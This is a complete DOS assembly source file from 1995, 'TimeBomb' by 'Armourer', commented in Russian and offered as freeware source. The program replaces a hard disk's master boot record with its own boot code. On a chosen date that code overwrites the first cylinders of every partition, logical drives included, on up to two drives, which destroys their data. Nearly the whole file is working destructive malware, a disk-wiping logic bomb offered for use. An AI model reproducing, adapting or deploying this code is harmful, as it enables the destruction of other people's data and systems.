;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; (C) ANS (Armourer) TimeBomb Ver 1.00 25 Jun ; FIDOnet 2:461/29.444 FreeWare, SourceWare 1995 ; ; ; Полностью заменяет MBR. По достижении определенной даты фатально грохает винт ; ; Старый MBR записывается в файл c:\mbr.bak, чтобы можно было восстановить, ; если что. Управления старый MBR не получает, так что если он делал что-то ; более умное, нежели загрузка системы с активного раздела - TimeBomb придется ; переделать. ; ; При срабатывании TimeBomb затираются первые 4 цилиндра каждого раздела на ; винте, включая логические диски DOS (extended partition) ; ; Следует заметить, что Non-DOS разделы (HPFS, например) при этом пострадают ; незначительно - в связи с коренным отличием их структуры от DOS FAT. ; killed_cyl = 4 ; Число убиваемых цилиндров в каждом разделе xor_value = 73h ; Значение зашифрования Вашего последнего слова ;-) locals cseg segment assume cs:cseg org 100h .286 start proc near ; ; Инсталляция ; ; Проверяем командную строку mov si, 80h mov bl, byte ptr [si] xor bh, bh cmp bl, 8 jnc @@checkdate help: ; В командной строке не указана дата - выводим подсказку mov dx, offset @@title mov ah, 9 int 21h int 20h ; Получение BCD-числа из ком. строки getBCD proc near dec si mov ax, word ptr [si+bx] ; Берем последние две цифры sub ax, '00' ; ASCII -> BIN xchg al, ah db 0d5h, 10h ; AAD с модификатором 16 cmp al, 9ah jnc help dec si ; Сразу переходим к следующему полю dec si retn getBCD endp @@checkdate: ; Проверяем дату (сначала год, затем месяц, затем число) ; и приводим ее к нужному формату ; Корректность даты не проверяем - жто проблема пользователя - ; что он там ввел call getBCD ; Берем цифры года mov byte ptr year, al ; Получили BCD-year cmp byte ptr [bx+si+1], '.' ; Проверяем разделитель jne help call getBCD ; Берем цифры месяца mov byte ptr month, al ; Получили BCD-month cmp byte ptr [bx+si+1], '.' ; Проверяем разделитель jne help call getBCD ; Берем цифры дня mov byte ptr day, al ; Получили BCD-day @@singledisk: ; ; Заменяем MBR винта своим кодом из bomb proc ; ; Читаем старый MBR, сохраняем его в c:\mbr.bak, пишем себя ; ; Читаем MBR mov cx, 1 mov dx, 80h mov ax, 201h mov bx, offset buffer int 13h jnc @@rd_ok mov dx, offset @@rd_err @@err_exit: ; Вывод сообщения из DX и вылет по ошибке mov ah, 9 int 21h retn @@rd_ok: ; Создаем файл mov dx, offset @@fname xor cx, cx mov ah, 3ch int 21h jnc @@cr_ok mov dx, offset @@cr_err jmp @@err_exit @@cr_ok: ; Пишем в файл mov bx, ax mov cx, 512 mov dx, offset buffer mov ah, 40h int 21h jnc @@wr_ok mov dx, offset @@wr_err jmp @@err_exit @@wr_ok: ; Закрываем файл mov ah, 3eh int 21h ; ; Переносим свой MBR на место старого ; mov si, offset bomb mov di, offset buffer mov bx, di mov cx, di sub cx, si cld rep movsb ; ; Записываем новый MBR поверх старого ; mov cx, 1 mov dx, 80h mov ax, 301h int 13h mov dx, offset @@mbr_wr_err jc @@err_exit mov dx, offset @@done_msg jmp @@err_exit ; Сообщения об ошибках @@rd_err: db 'Error read the MBR of C:',13,10,'$' @@cr_err: db 'Error creating the ' @@fname: db 'C:\MBR.BAK',0,'file',13,10,'$' @@wr_err: db 'Error writing backup file',13,10,'$' @@mbr_wr_err: db 'Error writing new MBR',13,10,'$' @@done_msg: db 'Your MBR replaced by TimeBomb',13,10,'$' ; Заставка @@title: db 13,10,10 db '(C) Armourer TimeBomb Ver 1.00 25 Jun 1995',13,10,10 db ' Usage: timebomb ',13,10,10 db ' Where is a fatal date for your computer.',13,10 db ' Date format must be in exUSSR standard: DD.MM.YY',13,10,10 db 'Good Luck ;)',13,10,'$' start endp ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Текст бомбы. Комбинируется с MBR (от MBR берется партишн) ; ; Этот код будет стартовать с адреса 0:7c00h ; bomb proc near ; Настраиваем стек и переносим MBR, куда надо (0:600h) cli mov ax, cs mov ss, ax mov ds, ax mov es, ax mov si, 7c00h mov sp, si push si ; Это нужно для последующего старта boot'а cld mov cx, 1beh / 2 ; После такого переноса SI будет указывать mov di, 600h ; на партишн rep movsw push ax ; Сегмент push offset beginbomb - offset bomb + 600h ; Смещение retf beginbomb: ; Проверяем время mov ah, 4 int 1ah ; Прочли дату в CX:DX jc @@skipbomb ; Если часы не работают -> пропускаем проверку year = $ + 2 cmp cl, 12h ; Проверяем год jc @@skipbomb ; Год не совпал ;) jne @@explode ; Если этот год прошел - взрываемся нмедленно month = $ + 3 day = $ + 2 cmp dx, 1234h ; Именно так, чтобы не сгенерировался ; короткий вариант для CMP jc @@skipbomb ; Не совпал день и месяц @@explode: ; ; Все совпало, пришла черная пора... ; ; Стираем первые цилиндры каждого раздела (включая логические ; диски DOS) ; ; Устанавливаем в коде бомбы параметры винта mov dl, 80h call destroy ; Устанавливаем параметры аторого винта, если он есть ror dl, 1 ; Если один диск, флаг CF будет установлен jc @@singledisk mov dl, 81h call destroy @@singledisk: jmp @@incorrect ; Выводим сообщение "Missing operating ssytem" @@skipbomb: ; ; Отработка нормального кода MBR ; ; Ищем загрузочный раздел mov cl, 4 ; Есть всего 4 варианта ... @@searchboot: ; Цикл поиска mov dx, word ptr [si] ; Сразу загружаем в DX то, что нужно cmp dl, 80h ; Этот раздел загрузочный ? je @@boot add si, 10h ; Переходим к следующей записи loop @@searchboot ; Не нашли - выдаем сообщение @@incorrect: call errmsg db 'Missing operating system',0 @@boot: ; Загружаем boot-сектор и передаем ему управление mov cx, word ptr [si+2] ; Что надо - в CX mov ax, 201h ; Читаем 1 сектор pop bx ; По адресу 0:7c00h push bx int 13h jnc @@exit call errmsg db 'Error reading operating system',0 @@exit: cmp word ptr [bx + 510], 0aa55h jne @@incorrect retn ; Запускаем boot ; ; Подпрограммы ; ; Выдача сообщения об ошибке errmsg proc near sti cld pop si mov ah, 0eh @@nextchar: lodsb or al, al je $ int 10h jmp @@nextchar errmsg endp ; Обход всех разделов диска с записью их параметров в буфер getpart proc near ; Это рекурсивная функция. ; На входе в SI требуется указатель на очередной раздел ; В буфер по адресу ES:DI пишутся параметры тек.раздела mov cx, 4 ; Счетчик разделов в каждом MBR @@nextpart: ; Проверяем тип раздела cmp byte ptr [si+4], 0 ; Неиспользуемый раздел je @@exit ; Пишем в буфер параметры раздела mov ax, word ptr [si] ; Голова stosw mov dx, ax ; Готовимся ко входу в рекурсию disk1 = $ + 1 mov dl, 80h ; Номер обрабатываемого диска mov ax, word ptr [si+2] stosw ; Цилиндр/сектор ; Снова проверяем тип раздела - не расширенный ли он ? cmp byte ptr [si+4], 5 jne @@exit ; Нет - идем дальше ; Ныряем в рекурсию ; Читаем MBR расширенного раздела push cx ; Сохраняем счетчик push si ; Сохраняем указатель на разделы add bx, 512 ; Продвигаем указатель на буфер mov cx, ax ; Сейчас CX:DX указывают на MBR mov ax, 201h ; расширенного раздела int 13h ; Читаем расширенный раздел в 0:BX jnc @@rec ; Проверка на корректность ; Выходим из рекурсии в случае сбоя pop si pop cx sub bx, 512 jmp @@exit @@rec: mov si, bx ; Устанавливаем указатель add si, 1beh ; на таблицу разделов call getpart @@exit: add si, 10h loop @@nextpart ; Выход из рекурсии sub bx, 512 pop dx pop si pop cx push dx retn getpart endp ; Уничтожение содержимого текущего диска destroy proc near ; Получаем параметры винта, указанного в DL mov byte ptr ds:[offset disk - offset bomb + 600h], dl mov byte ptr ds:[offset disk1 - offset bomb + 600h], dl mov ah, 8 int 13h mov byte ptr ds:[heads - offset bomb + 600h], dh and cl, 63 mov byte ptr ds:[sectors - offset bomb + 600h], cl push dx mov bx, 0a00h ; Буфер для чтения MBR расширенных разделов ; По ходу дела к BX будет прибавляться по 512 - ; так что максимальный уровень вложенности ; составит 57 разделов mov di, 500h ; Буфер под параметры для int 13h (64 диска) ; Рекурсивно обходим логические диски, записывая в буфер параметры ; для int 13h push si ; Корректный вход в рекурсию push cx xor ax, ax ; Установка для стирания главного MBR stosw inc ax stosw call getpart ; Обход разделов ; Создаем значение прописывания ; Сейчас в bx лежит длина прописываемых данных в параграфах - 800h push di ; Сохраняем указатель на хвост списка параметров mov di, bx ; В DI будет указатель на буфер для данных shl di, 4 ; Буфер будет располагаться со смещения 8000h push di ; Сохраняем адрес буфера заполнения @@nextword: mov si, offset lmd - offset bomb + 600h mov cx, 16 @@nextchar: lodsb xor al, xor_value stosb loop @@nextchar dec bx jne @@nextword ; Идем назад по буферу pop bx ; Восстанавливаем адрес буфера pop si ; Восстанавливаем указатель на параметры mov cx, si ; Вычисляем число затираемых разделов sub cx, 500h shr cx, 2 std lodsw ; Переходим к последней записи в буфере @@nextpart: push cx ; Сохраняем счетчик lodsw ; Берем параметры раздела mov cx, ax ; Цилиндр/сектор lodsw mov dx, ax ; Голова disk = $ + 1 mov dl, 80h ; Номер затираемого диска mov si, killed_cyl ; Счетчик убиваемых цилиндров ; Прописываем раздел @@nexthead: sectors = $ + 1 mov ax, 310h ; !!!! int 13h inc dh ; Следующая голова heads = $ + 2 cmp dh, 16 ; Весь цилиндр ? jne @@nexthead add cx, 64 ; Следующий цилиндр xor dh, dh ; Начинаем с нулевой головы dec si jne @@nexthead pop cx ; Восстанавливаем счетчик loop @@nextpart ; и крутим цикл по разделам pop dx retn destroy endp lmd: irpc ch, db '&ch' xor xor_value endm bomb endp buffer: ; Сюда будем читать старый mbr dw offset buffer - offset bomb cseg ends end start